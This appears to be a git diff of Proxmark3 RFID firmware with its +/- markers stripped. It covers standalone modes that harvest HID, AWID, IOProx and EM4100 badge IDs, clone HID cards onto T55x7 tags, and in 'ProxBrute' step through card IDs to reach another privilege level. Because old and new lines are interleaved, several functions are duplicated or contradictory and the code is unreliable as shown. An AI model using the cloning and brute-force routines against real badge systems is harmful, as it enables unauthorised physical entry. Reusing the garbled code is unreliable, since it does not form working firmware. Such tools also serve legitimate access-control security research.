sprintf((char *)entry, "AWID bit len: %d, FC: %d, Card: %"PRIu32" - Wiegand: %"PRIx32", Raw: %08"PRIx32"%08"PRIx32"%08"PRIx32"\n", fmtLen, fac, cardnum, code1, rawHi2, rawHi, rawLo);
} else {
uint32_t cardnum = bytebits_to_byte(dest + 8 + (fmtLen - 17), 16);
if (fmtLen > 32) {
uint32_t code1 = bytebits_to_byte(dest + 8, fmtLen - 32);
uint32_t code2 = bytebits_to_byte(dest + 8 + (fmtLen - 32), 32);
sprintf((char *)entry, "AWID bit len: %d -unk bit len - Card: %"PRIu32" - Wiegand: %"PRIx32"%08"PRIx32", Raw: %08"PRIx32"%08"PRIx32"%08"PRIx32"\n", fmtLen, cardnum, code1, code2, rawHi2, rawHi, rawLo);
} else {
uint32_t code1 = bytebits_to_byte(dest + 8, fmtLen);
sprintf((char *)entry, "AWID bit len: %d -unk bit len - Card: %"PRIu32" - Wiegand: %"PRIx32", Raw: %08"PRIx32"%08"PRIx32"%08"PRIx32"\n", fmtLen, cardnum, code1, rawHi2, rawHi, rawLo);
}
}
append(entry, strlen((char *)entry));
Dbprintf("%s", entry);
BigBuf_free();
return PM3_SUCCESS;
}
uint32_t IceIOdemod() {
int dummyIdx = 0;
uint8_t version = 0, facilitycode = 0;
uint16_t number = 0;
uint32_t hi = 0, lo = 0;
size_t size = MIN(12000, BigBuf_max_traceLen());
// uint8_t *dest = BigBuf_malloc(size);
uint8_t *dest = BigBuf_get_addr();
//fskdemod and get start index
int idx = detectIOProx(dest, &size, &dummyIdx);
if (idx < 0) {
BigBuf_free();
return PM3_ESOFT;
}
hi = bytebits_to_byte(dest + idx, 32);
lo = bytebits_to_byte(dest + idx + 32, 32);
version = bytebits_to_byte(dest + idx + 27, 8); //14,4
facilitycode = bytebits_to_byte(dest + idx + 18, 8);
number = (bytebits_to_byte(dest + idx + 36, 8) << 8) | (bytebits_to_byte(dest + idx + 45, 8)); //36,9
uint8_t entry[64];
memset(entry, 0, sizeof(entry));
sprintf((char *)entry, "IO Prox XSF(%02u)%02x:%05u (%08"PRIx32"%08"PRIx32")\n"
, version
, facilitycode
, number
, hi
, lo
);
append(entry, strlen((char *)entry));
Dbprintf("%s", entry);
BigBuf_free();
return PM3_SUCCESS;
}
uint32_t IceHIDDemod() {
int dummyIdx = 0;
uint32_t hi2 = 0, hi = 0, lo = 0;
// large enough to catch 2 sequences of largest format
size_t size = 50 * 128 * 2; // 12800 bytes
//uint8_t *dest = BigBuf_malloc(size);
uint8_t *dest = BigBuf_get_addr();
// FSK demodulator
int idx = HIDdemodFSK(dest, &size, &hi2, &hi, &lo, &dummyIdx);
if (idx < 0) {
BigBuf_free();
return PM3_ESOFT;
}
if ((size == 96 || size == 192)) {
uint8_t entry[80];
memset(entry, 0, sizeof(entry));
// go over previously decoded manchester data and decode into usable tag ID
if (hi2 != 0) { //extra large HID tags 88/192 bits
sprintf((char *)entry, "HID large: %"PRIx32"%08"PRIx32"%08"PRIx32" (%"PRIu32")\n",
hi2,
hi,
lo,
(lo >> 1) & 0xFFFF
);
append(entry, strlen((char *)entry));
} else { //standard HID tags 44/96 bits
uint8_t bitlen = 0;
uint32_t fac = 0;
uint32_t cardnum = 0;
if (((hi >> 5) & 1) == 1) { //if bit 38 is set then < 37 bit format is used
uint32_t lo2 = 0;
lo2 = (((hi & 31) << 12) | (lo >> 20)); //get bits 21-37 to check for format len bit
uint8_t idx3 = 1;
while (lo2 > 1) { //find last bit set to 1 (format len bit)
lo2 >>= 1;
idx3++;
}
bitlen = idx3 + 19;
fac = 0;
cardnum = 0;
if (bitlen == 26) {
cardnum = (lo >> 1) & 0xFFFF;
fac = (lo >> 17) & 0xFF;
}
if (bitlen == 37) {
cardnum = (lo >> 1) & 0x7FFFF;
fac = ((hi & 0xF) << 12) | (lo >> 20);
}
if (bitlen == 34) {
cardnum = (lo >> 1) & 0xFFFF;
fac = ((hi & 1) << 15) | (lo >> 17);
}
if (bitlen == 35) {
cardnum = (lo >> 1) & 0xFFFFF;
fac = ((hi & 1) << 11) | (lo >> 21);
}
} else { //if bit 38 is not set then 37 bit format is used
bitlen = 37;
cardnum = (lo >> 1) & 0x7FFFF;
fac = ((hi & 0xF) << 12) | (lo >> 20);
}
sprintf((char *)entry, "HID: %"PRIx32"%08"PRIx32" (%"PRIu32") Format: %d bit FC: %"PRIu32" Card: %"PRIu32"\n",
hi,
lo,
(lo >> 1) & 0xFFFF,
bitlen,
fac,
cardnum
);
append(entry, strlen((char *)entry));
}
Dbprintf("%s", entry);
}
BigBuf_free();
return PM3_SUCCESS;
}
void ModInfo(void) {
DbpString(_YELLOW_(" LF HID / IOprox / AWID / EM4100 collector mode") " - a.k.a IceHID (Iceman)");
}
void RunMod() {
FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
LFSetupFPGAForADC(LF_DIVISOR_125, true);
BigBuf_Clear();
StandAloneMode();
Dbprintf(_YELLOW_("[=] Standalone mode IceHID started"));
rdv40_spiffs_lazy_mount();
log_exists = exists_in_spiffs(LF_HIDCOLLECT_LOGFILE);
// the main loop for your standalone mode
for (;;) {
WDT_HIT();
// exit from IceHID, send a usbcommand.
if (data_available()) break;
// Was our button held down or pressed?
int button_pressed = BUTTON_HELD(280);
if (button_pressed == BUTTON_HOLD)
break;
LED_A_ON();
uint32_t res;
// since we steal 12800 from bigbuffer, no need to sample it.
DoAcquisition_config(false, 28000);
res = IceHIDDemod();
if (res == PM3_SUCCESS) {
LED_A_OFF();
continue;
}
DoAcquisition_config(false, 28000);
res = IceAWIDdemod();
if (res == PM3_SUCCESS) {
LED_A_OFF();
continue;
}
DoAcquisition_config(false, 20000);
res = IceEM410xdemod();
if (res == PM3_SUCCESS) {
LED_A_OFF();
continue;
}
DoAcquisition_config(false, 28000);
res = IceIOdemod();
if (res == PM3_SUCCESS) {
LED_A_OFF();
continue;
}
}
LED_C_ON();
rdv40_spiffs_lazy_unmount();
LED_C_OFF();
LEDsoff();
DownloadLogInstructions();
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
}

View file

@ -7,13 +7,17 @@
//-----------------------------------------------------------------------------
// main code for skeleton aka IceRun by Iceman
//-----------------------------------------------------------------------------
#include "lf_icerun.h"
#include "standalone.h" // standalone definitions
#include "proxmark3_arm.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "util.h"
#include "dbprint.h"
void ModInfo(void) {
DbpString(" LF skeleton mode - aka IceRun (iceman)");
DbpString(" LF skeleton mode - aka IceRun (iceman)");
}
// samy's sniff and repeat routine for LF
void RunMod() {
StandAloneMode();
Dbprintf("[=] LF skeleton code a.k.a IceRun started");

View file

@ -9,10 +9,17 @@
//-----------------------------------------------------------------------------
// main code for LF aka Proxbrute by Brad antoniewicz
//-----------------------------------------------------------------------------
#include "lf_proxbrute.h"
#include "standalone.h" // standalone definitions
#include "proxmark3_arm.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "util.h"
#include "dbprint.h"
#include "ticks.h"
#include "lfops.h"
void ModInfo(void) {
DbpString(" LF HID ProxII bruteforce - aka Proxbrute (Brad Antoniewicz)");
DbpString(" LF HID ProxII bruteforce - aka Proxbrute (Brad Antoniewicz)");
}
// samy's sniff and repeat routine for LF
@ -21,151 +28,92 @@ void RunMod() {
Dbprintf(">> LF HID proxII bruteforce a.k.a ProxBrute Started (Brad Antoniewicz) <<");
FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
uint32_t high[OPTS], low[OPTS];
int selected = 0;
int playing = 0;
int cardRead = 0;
uint32_t high, low;
// Turn on selected LED
LED(selected + 1, 0);
#define STATE_READ 0
#define STATE_BRUTE 1
uint8_t state = STATE_READ;
for (;;) {
WDT_HIT();
// exit from SamyRun, send a usbcommand.
if (data_available()) break;
// Was our button held down or pressed?
int button_pressed = BUTTON_HELD(1000);
SpinDelay(300);
int button_pressed = BUTTON_HELD(280);
if (button_pressed != BUTTON_HOLD)
continue;
// Button was held for a second, begin recording
if (button_pressed > 0 && cardRead == 0) {
LEDsoff();
LED(selected + 1, 0);
LED(LED_D, 0);
if (state == STATE_READ) {
LEDsoff();
LED_A_ON();
WAIT_BUTTON_RELEASED();
// record
DbpString("[=] starting recording");
// wait for button to be released
while (BUTTON_PRESS())
WDT_HIT();
/* need this delay to prevent catching some weird data */
SpinDelay(500);
// findone, high, low, no ledcontrol (A)
CmdHIDdemodFSK(1, &high, &low, 0);
CmdHIDdemodFSK(1, &high[selected], &low[selected], 0);
Dbprintf("[=] recorded %x %x %08x", selected, high[selected], low[selected]);
Dbprintf("[=] recorded | %x%08x", high, low);
LEDsoff();
LED(selected + 1, 0);
// Finished recording
// If we were previously playing, set playing off
// so next button push begins playing what we recorded
playing = 0;
cardRead = 1;
} else if (button_pressed > 0 && cardRead == 1) {
LEDsoff();
LED(selected + 1, 0);
LED(LED_A, 0);
// record
Dbprintf("[=] cloning %x %x %08x", selected, high[selected], low[selected]);
// wait for button to be released
while (BUTTON_PRESS())
WDT_HIT();
/* need this delay to prevent catching some weird data */
SpinDelay(500);
CopyHIDtoT55x7(0, high[selected], low[selected], 0);
Dbprintf("[=] cloned %x %x %08x", selected, high[selected], low[selected]);
LEDsoff();
LED(selected + 1, 0);
// Finished recording
// If we were previously playing, set playing off
// so next button push begins playing what we recorded
playing = 0;
cardRead = 0;
}
// Change where to record (or begin playing)
else if (button_pressed) {
// Next option if we were previously playing
if (playing)
selected = (selected + 1) % OPTS;
playing = !playing;
LEDsoff();
LED(selected + 1, 0);
// Begin transmitting
if (playing) {
LED(LED_B, 0);
DbpString("[=] playing");
// wait for button to be released
while (BUTTON_PRESS())
WDT_HIT();
/* START PROXBRUTE */
/*
ProxBrute - brad a. - foundstone
Following code is a trivial brute forcer once you read a valid tag
the idea is you get a valid tag, then just try and brute force to
another priv level. The problem is that it has no idea if the code
worked or not, so its a crap shoot. One option is to time how long
it takes to get a valid ID then start from scratch every time.
*/
if (selected == 1) {
DbpString("[=] entering ProxBrute Mode");
Dbprintf("[=] current Tag: Selected = %x Facility = %08x ID = %08x", selected, high[selected], low[selected]);
LED(LED_A, 0);
LED(LED_C, 0);
for (uint16_t i = low[selected] - 1; i > 0; i--) {
if (BUTTON_PRESS()) {
DbpString("[-] told to stop");
break;
}
Dbprintf("[=] trying Facility = %08x ID %08x", high[selected], i);
CmdHIDsimTAGEx(high[selected], i, 0, 20000);
SpinDelay(500);
}
} else {
DbpString("[=] RED is lit, not entering ProxBrute Mode");
Dbprintf("[=] %x %x %x", selected, high[selected], low[selected]);
CmdHIDsimTAGEx(high[selected], low[selected], 0, 20000);
DbpString("[=] done playing");
}
/* END PROXBRUTE */
if (BUTTON_HELD(1000) > 0)
goto out;
/* We pressed a button so ignore it here with a delay */
SpinDelay(300);
// when done, we're done playing, move to next option
selected = (selected + 1) % OPTS;
playing = !playing;
LEDsoff();
LED(selected + 1, 0);
} else {
while (BUTTON_PRESS())
WDT_HIT();
// got nothing. blink and loop.
if (high == 0 && low == 0) {
SpinErr(LED_A, 100, 12);
DbpString("[=] only got zeros, retry recording after click");
continue;
}
SpinErr(LED_A, 250, 2);
state = STATE_BRUTE;
continue;
} else if (state == STATE_BRUTE) {
LED_C_ON(); // Simulate
WAIT_BUTTON_RELEASED();
/*
ProxBrute - brad a. - foundstone
Following code is a trivial brute forcer once you read a valid tag
the idea is you get a valid tag, then just try and brute force to
another priv level. The problem is that it has no idea if the code
worked or not, so its a crap shoot. One option is to time how long
it takes to get a valid ID then start from scratch every time.
*/
DbpString("[=] entering ProxBrute mode");
Dbprintf("[=] simulating | %08x%08x", high, low);
for (uint16_t i = low - 1; i > 0; i--) {
if (data_available()) break;
// Was our button held down or pressed?
button_pressed = BUTTON_HELD(280);
if (button_pressed != BUTTON_HOLD) break;
Dbprintf("[=] trying Facility = %08x ID %08x", high, i);
// high, i, ledcontrol, timelimit 20000
CmdHIDsimTAGEx(0, high, i, 0, false, 20000);
SpinDelay(100);
}
state = STATE_READ;
SpinErr((LED_A | LED_C), 250, 2);
LEDsoff();
}
}
out:
DbpString("[=] exiting");
SpinErr((LED_A | LED_B | LED_C | LED_D), 250, 5);
DbpString("[=] You can take the shell back :) ...");
LEDsoff();
}

View file

@ -8,138 +8,137 @@
//-----------------------------------------------------------------------------
// main code for LF aka SamyRun by Samy Kamkar
//-----------------------------------------------------------------------------
#include "lf_samyrun.h"
#include "standalone.h" // standalone definitions
#include "proxmark3_arm.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "lfops.h"
#include "util.h"
#include "dbprint.h"
#include "ticks.h"
#define OPTS 2
void ModInfo(void) {
DbpString(" LF HID26 standalone - aka SamyRun (Samy Kamkar)");
DbpString(" LF HID26 standalone - aka SamyRun (Samy Kamkar)");
}
// samy's sniff and repeat routine for LF
// LEDS.
// A , B == which bank (recording)
// FLASHING A, B = clone bank
// C = playing bank A
// D = playing bank B
void RunMod() {
StandAloneMode();
Dbprintf(">> LF HID Read/Clone/Sim a.k.a SamyRun Started <<");
FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
Dbprintf(">> LF HID Read/Clone/Sim a.k.a SamyRun Started <<");
uint32_t high[OPTS], low[OPTS];
int selected = 0;
int playing = 0;
int cardRead = 0;
bool gotCard;
// Turn on selected LED
LED(selected + 1, 0);
#define STATE_READ 0
#define STATE_SIM 1
#define STATE_CLONE 2
uint8_t state = STATE_READ;
for (;;) {
WDT_HIT();
// exit from SamyRun, send a usbcommand.
if (data_available()) break;
// Was our button held down or pressed?
int button_pressed = BUTTON_HELD(1000);
int button_pressed = BUTTON_HELD(280);
if (button_pressed != BUTTON_HOLD)
continue;
/*
#define BUTTON_NO_CLICK 0
#define BUTTON_SINGLE_CLICK -1
#define BUTTON_DOUBLE_CLICK -2
*/
Dbprintf("button %d", button_pressed);
SpinDelay(300);
if (state == STATE_READ) {
// Button was held for a second, begin recording
if (button_pressed > 0 && cardRead == 0) {
LEDsoff();
LED(selected + 1, 0);
LED(LED_D, 0);
// record
DbpString("[=] starting recording");
// wait for button to be released
while (BUTTON_PRESS())
WDT_HIT();
/* need this delay to prevent catching some weird data */
SpinDelay(500);
CmdHIDdemodFSK(1, &high[selected], &low[selected], 0);
Dbprintf("[=] recorded bank %x | %x %08x", selected, high[selected], low[selected]);
LEDsoff();
LED(selected + 1, 0);
// Finished recording
// If we were previously playing, set playing off
// so next button push begins playing what we recorded
playing = 0;
cardRead = 1;
gotCard = true;
} else if (button_pressed > 0 && cardRead == 1) {
LEDsoff();
LED(selected + 1, 0);
LED(LED_A, 0);
// record
Dbprintf("[=] cloning %x %x %08x", selected, high[selected], low[selected]);
// wait for button to be released
while (BUTTON_PRESS())
WDT_HIT();
/* need this delay to prevent catching some weird data */
SpinDelay(500);
CopyHIDtoT55x7(0, high[selected], low[selected], 0);
Dbprintf("[=] cloned %x %x %08x", selected, high[selected], low[selected]);
LEDsoff();
LED(selected + 1, 0);
// Finished recording
// If we were previously playing, set playing off
// so next button push begins playing what we recorded
playing = 0;
cardRead = 0;
}
// Change where to record (or begin playing)
else if (button_pressed && gotCard) {
// Next option if we were previously playing
if (playing)
selected = (selected + 1) % OPTS;
playing = !playing;
LEDsoff();
LED(selected + 1, 0);
// Begin transmitting
if (playing) {
LED(LED_B, 0);
DbpString("[=] playing");
// wait for button to be released
while (BUTTON_PRESS())
WDT_HIT();
Dbprintf("[=] %x %x %08x", selected, high[selected], low[selected]);
CmdHIDsimTAG(high[selected], low[selected], false);
DbpString("[=] done playing");
if (BUTTON_HELD(1000) > 0)
goto out;
/* We pressed a button so ignore it here with a delay */
SpinDelay(300);
// when done, we're done playing, move to next option
selected = (selected + 1) % OPTS;
playing = !playing;
LEDsoff();
LED(selected + 1, 0);
if (selected == 0) {
LED_A_ON();
LED_B_OFF();
} else {
while (BUTTON_PRESS())
WDT_HIT();
LED_B_ON();
LED_A_OFF();
}
LED_C_OFF();
LED_D_OFF();
WAIT_BUTTON_RELEASED();
// record
DbpString("[=] start recording");
// findone, high, low, no ledcontrol (A)
uint32_t hi = 0, lo = 0;
CmdHIDdemodFSK(1, &hi, &lo, 0);
high[selected] = hi;
low[selected] = lo;
Dbprintf("[=] recorded %x | %x%08x", selected, high[selected], low[selected]);
// got nothing. blink and loop.
if (hi == 0 && lo == 0) {
SpinErr((selected == 0) ? LED_A : LED_B, 100, 12);
DbpString("[=] only got zeros, retry recording after click");
continue;
}
SpinErr((selected == 0) ? LED_A : LED_B, 250, 2);
state = STATE_SIM;
continue;
} else if (state == STATE_SIM) {
LED_C_ON(); // Simulate
LED_D_OFF();
WAIT_BUTTON_RELEASED();
Dbprintf("[=] simulating %x | %x%08x", selected, high[selected], low[selected]);
// high, low, no led control(A) no time limit
CmdHIDsimTAGEx(0, high[selected], low[selected], 0, false, -1);
DbpString("[=] simulating done");
uint8_t leds = ((selected == 0) ? LED_A : LED_B) | LED_C;
SpinErr(leds, 250, 2);
state = STATE_CLONE;
continue;
} else if (state == STATE_CLONE) {
LED_C_OFF();
LED_D_ON(); // clone
WAIT_BUTTON_RELEASED();
Dbprintf("[=] cloning %x | %x%08x", selected, high[selected], low[selected]);
// high2, high, low, no longFMT
CopyHIDtoT55x7(0, high[selected], low[selected], 0);
DbpString("[=] cloned done");
state = STATE_READ;
uint8_t leds = ((selected == 0) ? LED_A : LED_B) | LED_D;
SpinErr(leds, 250, 2);
selected = (selected + 1) % OPTS;
LEDsoff();
}
}
out:
DbpString("[=] exiting");
SpinErr((LED_A | LED_B | LED_C | LED_D), 250, 5);
DbpString("[=] You can take shell back :) ...");
LEDsoff();
}

View file

@ -1,8 +1,9 @@
#include "standalone.h" // standalone definitions
#include "apps.h" // debug statements
#include "dbprint.h"
void ModInfo(void) {
DbpString(" No standalone mode present");
DbpString(" No standalone mode present");
}
void RunMod() {

View file

@ -1,6 +1,6 @@
# Standalone Modes
This contains functionality for different StandAlone modes. The fullimage will be built given the correct compiler flags used. Build targets for these files are contained in `armsrc/Makefile` and `common/Makefile.hal`
This contains functionality for different StandAlone modes. The fullimage will be built given the correct compiler flags used. Build targets for these files are contained in `Makefile.inc` and `Makefile.hal`
If you want to implement a new standalone mode, you need to implement the methods provided in `standalone.h`.
Have a look at the skeleton standalone mode called IceRun, in the files `lf_icerun.c lf_icerun.h`.
@ -19,7 +19,7 @@ The RunMod function, which is your "main" function when running. You need to ch
````
void ModInfo(void) {
DbpString(" LF good description of your mode - aka FooRun (your name)");
DbpString(" LF good description of your mode - aka FooRun (your name)");
}
void RunMod(void) {
@ -40,8 +40,6 @@ void RunMod(void) {
}
````
Each standalone mode needs to have its own compiler flag to be added in `armsrc/Makefile`.
## Naming your standalone mode
We suggest that you follow these guidelines:
@ -58,9 +56,9 @@ This leads to your next step, your DEFINE name needed in Makefile.
`WITH_STANDALONE_LF_FOO`
## Update COMMON/MAKEFILE.HAL
## Update MAKEFILE.HAL
Add your mode to the `common/Makefile.hal` help and modes list:
Add your mode to the `Makefile.hal` help and modes list:
```
+==========================================================+
| STANDALONE | DESCRIPTION |
@ -74,13 +72,20 @@ STANDALONE_MODES := LF_SAMYRUN LF_ICERUN LF_PROXBRUTE LF_HIDBRUTE LF_FOO
STANDALONE_MODES += HF_YOUNG HF_MATTYRUN HF_COLIN HF_BOG
```
## Update ARMSRC/MAKEFILE
Add your source code files like the following sample in the `armsrc/Makefile`
If your mode is using one of the unique features of the RDV4, add it to the proper list:
```
STANDALONE_MODES_REQ_SMARTCARD :=
STANDALONE_MODES_REQ_FLASH := HF_COLIN HF_BOG
```
## Update MAKEFILE.INC
Add your source code files like the following sample in the `Makefile.inc`
```
# WITH_STANDALONE_LF_ICERUN
ifneq (,$(findstring WITH_STANDALONE_LF_ICERUN,$(APP_CFLAGS)))
SRC_STANDALONE = lf_icerun.c
SRC_STANDALONE = lf_icerun.c
endif
# WITH_STANDALONE_LF_FOO
@ -95,12 +100,12 @@ This will enable an easy way to detect on client side which standalone mode has
````
void ModInfo(void) {
DbpString(" LF good description of your mode - aka FooRun (your name)");
DbpString(" LF good description of your mode - aka FooRun (your name)");
}
````
## Compiling your standalone mode
Once all this is done, you and others can now easily compile different standalone modes by just selecting one of the standalone modes (list in `common/Makefile.hal` or ) , e.g.:
Once all this is done, you and others can now easily compile different standalone modes by just selecting one of the standalone modes (list in `Makefile.hal` or ) , e.g.:
- rename Makefile.platform.sample -> Makefile.platform
- edit the "STANDALONE" row inside Makefile.platform. You need to uncomment it and add your standalone mode name

View file

@ -11,9 +11,6 @@
#ifndef __STANDALONE_H
#define __STANDALONE_H
#include <stdbool.h> // for bool
#include <inttypes.h> // PRIu64
void RunMod();
void ModInfo();

File diff suppressed because it is too large Load diff

View file

@ -1,34 +0,0 @@
/*
* AES Cryptographic Algorithm Header File. Include this header file in
* your source which uses these given APIs. (This source is kept under
* public domain)
*/
#ifndef __AES_H
#define __AES_H
// AES context structure
typedef struct {
unsigned int Ek[60];
unsigned int Dk[60];
unsigned int Iv[4];
unsigned char Nr;
unsigned char Mode;
} AesCtx;
// key length in bytes
#define KEY128 16
#define KEY192 24
#define KEY256 32
// block size in bytes
#define BLOCKSZ 16
// mode
#define EBC 0
#define CBC 1
// AES API function prototype
int AesCtxIni(AesCtx *pCtx, unsigned char *pIV, unsigned char *pKey, unsigned int KeyLen, unsigned char Mode);
int AesEncrypt(AesCtx *pCtx, unsigned char *pData, unsigned char *pCipher, unsigned int DataLen);
int AesDecrypt(AesCtx *pCtx, unsigned char *pCipher, unsigned char *pData, unsigned int CipherLen);
#endif

File diff suppressed because it is too large Load diff

44
armsrc/appmain.h Normal file
View file

@ -0,0 +1,44 @@
//-----------------------------------------------------------------------------
// Jonathan Westhues, Aug 2005
// Gerhard de Koning Gans, April 2008, May 2011
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Definitions internal to the app source.
//-----------------------------------------------------------------------------
#ifndef __APPMAIN_H
#define __APPMAIN_H
#include "common.h"
extern const uint8_t OddByteParity[256];
extern int rsamples; // = 0;
extern uint8_t trigger;
extern bool allow_send_wtx;
// ADC Vref = 3300mV, and an (10M+1M):1M voltage divider on the HF input can measure voltages up to 36300 mV
#define MAX_ADC_HF_VOLTAGE 36300
// ADC Vref = 3300mV, (240k-10M):240k voltage divider, 140800 mV
#define MAX_ADC_HF_VOLTAGE_RDV40 140800
// ADC Vref = 3300mV, and an (10000k+240k):240k voltage divider on the LF input can measure voltages up to 140800 mV
#define MAX_ADC_LF_VOLTAGE 140800
extern int ToSendMax;
extern uint8_t ToSend[];
void send_wtx(uint16_t wtx);
void ReadMem(int addr);
void __attribute__((noreturn)) AppMain(void);
uint16_t AvgAdc(int ch);
//void PrintToSendBuffer(void);
void ToSendStuffBit(int b);
void ToSendReset(void);
void ListenReaderField(uint8_t limit);
void StandAloneMode(void);
void printStandAloneModes(void);
#endif

View file

@ -1,252 +0,0 @@
//-----------------------------------------------------------------------------
// Jonathan Westhues, Aug 2005
// Gerhard de Koning Gans, April 2008, May 2011
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Definitions internal to the app source.
//-----------------------------------------------------------------------------
#ifndef __APPS_H
#define __APPS_H
#ifdef __cplusplus
extern "C" {
#endif
#include <stdlib.h>
#include <stdarg.h>
#include "common.h"
#include "usb_cdc.h"
#include "crc32.h"
#include "lfdemod.h"
#include "BigBuf.h"
#include "fpgaloader.h"
#include "hitag2.h"
#include "hitagS.h"
#include "mifare.h"
#include "pcf7931.h"
#include "desfire.h"
#include "iso14443b.h"
#include "Standalone/standalone.h"
#include "flashmem.h"
extern const uint8_t OddByteParity[256];
extern int rsamples; // = 0;
extern uint8_t trigger;
// This may be used (sparingly) to declare a function to be copied to
// and executed from RAM
#define RAMFUNC __attribute((long_call, section(".ramfunc")))
/// appmain.h
void ReadMem(int addr);
void __attribute__((noreturn)) AppMain(void);
//void DbpIntegers(int a, int b, int c);
void DbpString(char *str);
void DbpStringEx(uint32_t flags, char *str);
void Dbprintf(const char *fmt, ...);
void DbprintfEx(uint32_t flags, const char *fmt, ...);
void Dbhexdump(int len, uint8_t *d, bool bAsci);
// ADC Vref = 3300mV, and an (10M+1M):1M voltage divider on the HF input can measure voltages up to 36300 mV
#define MAX_ADC_HF_VOLTAGE 36300
// ADC Vref = 3300mV, (240k-10M):240k voltage divider, 140800 mV
#define MAX_ADC_HF_VOLTAGE_RDV40 140800
// ADC Vref = 3300mV, and an (10000k+240k):240k voltage divider on the LF input can measure voltages up to 140800 mV
#define MAX_ADC_LF_VOLTAGE 140800
uint16_t AvgAdc(int ch);
void print_result(char *name, uint8_t *buf, size_t len);
//void PrintToSendBuffer(void);
void ToSendStuffBit(int b);
void ToSendReset(void);
void ListenReaderField(uint8_t limit);
extern int ToSendMax;
extern uint8_t ToSend[];
void StandAloneMode(void);
void printStandAloneModes(void);
/// lfops.h
extern uint8_t decimation;
extern uint8_t bits_per_sample ;
extern bool averaging;
void AcquireRawAdcSamples125k(int divisor);
void ModThenAcquireRawAdcSamples125k(uint32_t delay_off, uint32_t period_0, uint32_t period_1, uint8_t *command);
void ReadTItag(void);
void WriteTItag(uint32_t idhi, uint32_t idlo, uint16_t crc);
void AcquireTiType(void);
void AcquireRawBitsTI(void);
void SimulateTagLowFrequencyEx(int period, int gap, bool ledcontrol, int numcycles);
void SimulateTagLowFrequency(int period, int gap, bool ledcontrol);
void SimulateTagLowFrequencyBidir(int divisor, int max_bitlen);
void CmdHIDsimTAGEx(uint32_t hi, uint32_t lo, bool ledcontrol, int numcycles);
void CmdHIDsimTAG(uint32_t hi, uint32_t lo, bool ledcontrol);
void CmdFSKsimTAG(uint8_t fchigh, uint8_t fclow, uint8_t separator, uint8_t clk, uint16_t bitslen, uint8_t *bits, bool ledcontrol);
void CmdASKsimTAG(uint8_t encoding, uint8_t invert, uint8_t separator, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol);
void CmdPSKsimTag(uint8_t carrier, uint8_t invert, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol);
void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol);
void CmdAWIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol); // Realtime demodulation mode for AWID26
void CmdEM410xdemod(int findone, uint32_t *high, uint64_t *low, int ledcontrol);
void CmdIOdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol);
void CopyIOtoT55x7(uint32_t hi, uint32_t lo); // Clone an ioProx card to T5557/T5567
void CopyHIDtoT55x7(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT); // Clone an HID card to T5557/T5567
void CopyVikingtoT55xx(uint32_t block1, uint32_t block2, uint8_t Q5);
void WriteEM410x(uint32_t card, uint32_t id_hi, uint32_t id_lo);
void CopyIndala64toT55x7(uint32_t hi, uint32_t lo); // Clone Indala 64-bit tag by UID to T55x7
void CopyIndala224toT55x7(uint32_t uid1, uint32_t uid2, uint32_t uid3, uint32_t uid4, uint32_t uid5, uint32_t uid6, uint32_t uid7); // Clone Indala 224-bit tag by UID to T55x7
void T55xxResetRead(void);
void T55xxWriteBlock(uint8_t *data);
void T55xxWriteBlockExt(uint32_t data, uint8_t blockno, uint32_t pwd, uint8_t flags);
void T55xxReadBlock(uint8_t page, bool pwd_mode, bool brute_mem, uint8_t block, uint32_t pwd);
void T55xxWakeUp(uint32_t Pwd);
void T55xx_ChkPwds(void);
void TurnReadLFOn(uint32_t delay);
void EM4xReadWord(uint8_t addr, uint32_t pwd, uint8_t usepwd);
void EM4xWriteWord(uint8_t addr, uint32_t data, uint32_t pwd, uint8_t usepwd);
void Cotag(uint32_t arg0);
void setT55xxConfig(uint8_t arg0, t55xx_config *c);
t55xx_config *getT55xxConfig(void);
void printT55xxConfig(void);
void loadT55xxConfig(void);
/// iso14443b.h
void SimulateIso14443bTag(uint32_t pupi);
void AcquireRawAdcSamplesIso14443b(uint32_t parameter);
void ReadSTMemoryIso14443b(uint8_t numofblocks);
void RAMFUNC SniffIso14443b(void);
void SendRawCommand14443B(uint32_t, uint32_t, uint8_t, uint8_t[]);
void SendRawCommand14443B_Ex(PacketCommandNG *c);
void ClearFpgaShiftingRegisters(void);
// iso14443a.h
void RAMFUNC SniffIso14443a(uint8_t param);
void ReaderIso14443a(PacketCommandNG *c);
// Also used in iclass.c
//bool RAMFUNC LogTrace(const uint8_t *btBytes, uint16_t len, uint32_t timestamp_start, uint32_t timestamp_end, uint8_t *parity, bool readerToTag);
void GetParity(const uint8_t *pbtCmd, uint16_t len, uint8_t *par);
void iso14a_set_trigger(bool enable);
// also used in emv
//bool prepare_allocated_tag_modulation(tag_response_info_t *response_info);
//int GetIso14443aCommandFromReader(uint8_t *received, uint8_t *parity, int *len);
// epa.h
void EPA_PACE_Collect_Nonce(PacketCommandNG *c);
void EPA_PACE_Replay(PacketCommandNG *c);
// mifarecmd.h
void MifareReadBlock(uint8_t blockNo, uint8_t keyType, uint8_t *datain);
void MifareUReadBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain);
void MifareUC_Auth(uint8_t arg0, uint8_t *keybytes);
void MifareUReadCard(uint8_t arg0, uint16_t arg1, uint8_t arg2, uint8_t *datain);
void MifareReadSector(uint8_t arg0, uint8_t arg1, uint8_t *datain);
void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain);
//void MifareUWriteBlockCompat(uint8_t arg0,uint8_t *datain);
void MifareUWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain);
void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
